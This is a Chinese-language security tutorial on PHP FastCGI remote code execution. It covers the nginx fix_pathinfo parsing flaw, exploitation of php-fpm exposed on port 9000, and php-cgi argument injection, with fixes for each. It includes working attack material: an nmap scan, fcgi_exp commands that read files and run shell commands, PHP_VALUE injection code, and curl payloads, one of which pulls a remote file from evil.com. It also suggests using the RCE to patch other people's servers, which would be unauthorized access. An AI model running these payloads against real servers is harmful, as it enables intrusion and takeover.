PHP FastCGI RCE Vul
catalog
1. Introduction 2. nginx文件类型错误解析漏洞 3. 针对直接公网开放的Fast-CGI攻击 4. 通过FCGI API动态修改php.ini中的配置实现RCE
1. Introduction
我们首先来梳理一下CGI的相关概念
1. CGI CGI是为了保证web server传递过来的数据是标准格式的，从本质上来说，它是一个协议标准。web server(例如nginx)只是内容的分发者。比如 1) 如果请求/index.html，那么web server会去文件系统中找到这个文件，发送给浏览器，这里分发的是静态数据 2) 如果请求的是/index.php，根据配置文件，nginx知道这个不是静态文件，需要去找PHP解析器来处理，那么他会把这个请求简单处理后交给PHP解析器 问题的核心在于Nginx需要传哪些数据给PHP解析器呢，例如 1) url 2) 查询字符串 3) POST数据 4) HTTP header .. 本质上CGI就是规定要传哪些数据、以什么样的格式传递给后方处理这个请求的协议，而对应的是，只要是遵循这个协议标准实现的程序，就可以称之为CGI程序 2. FastCGI 首先明确一点，FastCGI也同样是一个协议标准，FastCGI的设计目的是提高CGI程序的性能的 1) 首先，Fastcgi会先启一个master，解析配置文件，初始化执行环境 2) 然后再启动多个worker 3) 当请求过来时，master会传递给一个worker，然后立即可以接受下一个请求。这样就避免了重复的劳动，效率提高了 4) 而且当worker不够用时，master可以根据配置预先启动几个worker等着，同时如果发现空闲worker太多时，也会停掉一些，这样就提高了性能，也节约了资源 而对应的是，只要是遵循了这个协议标准实现的程序，就可以称之为FastCGI程序 3. PHP-CGI / PHP-FastCGI PHP的解释器是PHP-CGI，PHP-CGI只是个CGI程序，他自己本身只能解析请求，返回结果，不会进程管理 4. PHP-FPM PHP-FPM是PHP-CGI进程的管理器，用来管理PHP-CGI进程的，PHP-FPM的管理对象是PHP-CGI
0x1: PHP-FPM
PHP-FPM的功能包括
1. 支持平滑停止/启动的高级进程管理功能 2. 可以工作于不同的 uid/gid/chroot 环境下，并监听不同的端口和使用不同的 php.ini 配置文件(可取代 safe_mode 的设置) 3. stdout、stderr日志记录 4. 在发生意外情况的时候能够重新启动并缓存被破坏的 opcode 5. 文件上传优化支持 6. "慢日志" - 记录脚本(不仅记录文件名，还记录 PHP backtrace 信息，可以使用 ptrace或者类似工具读取和分析远程进程的运行数据)运行所导致的异常缓慢 7. fastcgi_finish_request() - 特殊功能：用于在请求完成和刷新数据后，继续在后台执行耗时的工作(录入视频转换、统计处理等) 8. 动态／静态子进程产生 9. 基本 SAPI 运行状态信息(类似Apache的 mod_status) 10. 基于 php.ini 的配置文件
Relevant Link:
http://php.net/manual/zh/install.fpm.configuration.php http://php.net/manual/zh/install.fpm.php http://segmentfault.com/q/1010000000256516
2. nginx文件类型错误解析漏洞
0x1: 漏洞描述
漏洞介绍：nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。但是其中存在一个较为严重的安全问题，默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能攻陷支持php的nginx服务器
0x2: 漏洞分析
nginx默认以cgi的方式支持php的运行，在配置文件中如下配置
location ~ .php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params; }
配置参数简单说明如下
1. location对请求进行选择的时候会使用URI环境变量进行选择 1) 其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定 2) 而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的 2. 这里就是产生问题的点。而为了较好的支持PATH_INFO的提取，在PHP的配置选项里存在cgi.fix_pathinfo选项，其目的是为了从SCRIPT_FILENAME里取出真正的脚本名
我们来假设一个攻击场景
1. 假设存在一个URL: http://localhost/test/test.jpg 2. 我们以如下的方式去访问: http://localhost/test/test.jpg/test.php 3. nginx将会得到一个URI: /test.jpg/test.php 4. 经过location指令，该请求将会交给后端的fastcgi处理，nginx为其设置环境变量SCRIPT_FILENAME，内容为: /scripts/test.jpg/test.php 5. 后端的fastcgi在接受到该选项时，会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理，一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用，所以该选项一般配置开启。php通过该选项之后将查找其中真正的脚本文件名字，查找的方式也是查看文件是否存在，这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为 1) SCRIPT_FILENAME: /scripts/test.jpg 2) PATH_INFO: test.php 6. 最后，以/scripts/test.jpg作为此次请求需要执行的脚本，而nginx会使用php解析器来处理这个jpg文件，攻击者就可以实现让nginx以php来解析任何类型的文件了
漏洞的本质实际上就是由于fcgi和webserver对script路径级参数的理解不同出现的问题，这是典型的因为跨系统语境不同导致对同一个请求的不同解释导致的漏洞，它的攻击面是带有这种漏洞的nginx
0x3: POC
访问一个nginx支持php的站点，在一个任何资源的文件如robots.txt后面加上/test.php，这个任意资源文件就会被当作php文件得以执行
0x4: 修复方案(需重启)
1. 修改php.ini配置 cgi.fix_pathinfo = 0 2. nginx配置文件中添加 if ( $fastcgi_script_name ~ ..*/.*php ) { return 403; } /* 考虑到MVC框架、用户自定义站点中有可能出现xxx/xx.php的情况，这个规则应该更加细粒度一点，例如*.jpg/.*php、*.txt/.*php */
另外，nginx可以在不需要重启的情况，hotreload配置文件
service nginx reload //or /etc/init.d/nginx reload
0x5: 修复方案(无需重启)
前提是目标服务器同时存在FCGI API暴露在公网的漏洞，使用hotfix的修复思想，利用FCGI本身可以RCE的特点，利用RCE修改存在漏洞的机器的FCGI漏洞
1. 利用FCGI RCE漏洞修改目标服务器的nginx配置文件的配置 if ( $fastcgi_script_name ~ ..*/.*php ) { return 403; } 2. 利用FCGI RCE漏洞动态修改php.ini的值 cgi.fix_pathinfo = 0
Relevant Link:
http://www.80sec.com/nginx-securit.html http://php.net/manual/zh/ini.core.php
3. 针对直接公网开放的Fast-CGI攻击
除了利用nginx文件解析漏洞之外，由于fcgi和webserver是通过网络进行沟通的，因此目前越来越多的集群将fcgi直接绑定在公网上，所有人都可以对其进行访问。这样就意味着，任何人都可以伪装成webserver，让fcgi执行我们想执行的脚本内容。我们以php-fpm(php的fast-cgi的实现)作为例子说明直接将fastcgi暴露在公网所带来的安全风险
0x1: 受影响范围扫描
/* 1. php-fpm默认监听的端口是9000 2. 使用sV的原因是，因为9000端口可能还存在其他服务，这里需要借用nmap的指纹识别先帮我们鉴定一下 */ nmap -sV -p 9000 --open 173.xxx.xxx.1/24
0x2: fcgi劫持POC
因为webserver为了提供fastcgi一些参数，每次转发请求的时候，会通过FASTCGI_PARAMS的包向fcgi进程进行传递。本来这些参数是用户不可控的，但是既然这个fcgi对外开放，那么也就说明我们可以通过设定这些参数，来让我们去做一些原本做不到的事情
./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue /* 1. 在FASTCGI_PARAMS中，设定DOCUMENT_ROOT为"/"根目录 2. 设置SCRIPT_FILENAME为/etc/issue 3. 这样，只要我们有权限，我们就可以控制fcgi去读取这台机器上的任意文件了。实际上这并不是读取，而是用php去执行它 */
fcgi_exp.go
.. env := make(map[string]string) env["SCRIPT_FILENAME"] = url env["DOCUMENT_ROOT"] = "/" env["SERVER_SOFTWARE"] = "go / fcgiclient " env["REMOTE_ADDR"] = "127.0.0.1" env["SERVER_PROTOCOL"] = "HTTP/1.1" if len(reqParams) != 0 { env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) env["REQUEST_METHOD"] = "POST" env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off\nauto_prepend_file = php://input" } else { env["REQUEST_METHOD"] = "GET" } ..
0x3: 攻击向量
1. 类似于一个普通的LFI漏洞，如果你知道这台机器上的log路径，或者任何你可以控制内容的文件路径，你就可以执行任意代码了 //将LFI漏洞转化为RCE的相关知识，请参阅另一篇文章: http://www.cnblogs.com/LittleHann/p/3665062.html 2. 动态修改php.ini中的auto_prepend_file的值，去远程执行任意文件。将一个LFI的漏洞变成了RFI
0x4: 修复方案
1. 不要把fcgi接口对公网暴露 2. 对fcgi会添加身份认证机制
4. 通过FCGI API动态修改php.ini中的配置实现RCE
0x1: 攻击向量
通用通过设置FASTCGI_PARAMS，我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置
env["REQUEST_METHOD"] = "POST" env["PHP_VALUE"] = "auto_prepend_file = php://input" env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"
利用执行php://input，然后在POST的内容中写入我们的php代码，这样就可以直接执行了
./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"
0x2: POC
1. 本地包含直接执行代码: curl -H "USER-AGENT: <?system('id');die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n 2. 远程包含执行代码: curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt //-d参数: 作用是给php定义一个ini的值
0x2: 修复方案
1. 不要把fcgi接口对公网暴露(重要) 2. 对fcgi会添加身份认证机制 3. 升级php cgi
Relevant Link:
http://zone.wooyun.org/content/1060 http://zone.wooyun.org/content/151 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
Copyright (c) 2015 LittleHann All rights reserved
